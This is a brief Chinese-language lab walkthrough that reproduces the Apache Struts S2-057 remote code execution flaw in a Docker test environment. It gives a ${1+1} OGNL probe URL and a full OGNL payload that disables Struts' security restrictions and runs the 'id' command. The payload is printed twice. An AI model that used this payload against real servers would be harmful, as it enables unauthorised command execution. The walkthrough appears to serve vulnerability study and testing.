Struts <= Struts 2.3.34, Struts 2.5.16
启动Struts 2.3.34环境:
docker-compose up -d
启动环境后,访问http://your-ip: 8080/show/,您将看到Struts2测试页面。
利用
S2-057要求具备以下条件:
action元素没有设置名称空间属性,或者使用了通配符
名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。
有效载荷:
花括号进行url编码
http://your-ip:8080/${1+1}/actionChain1.action
可以发现我们的一加一算法得出结果了
使用来自S2-057漏洞分析和POC的有效载荷:
${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}进行url编码
${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}id命令进行了执行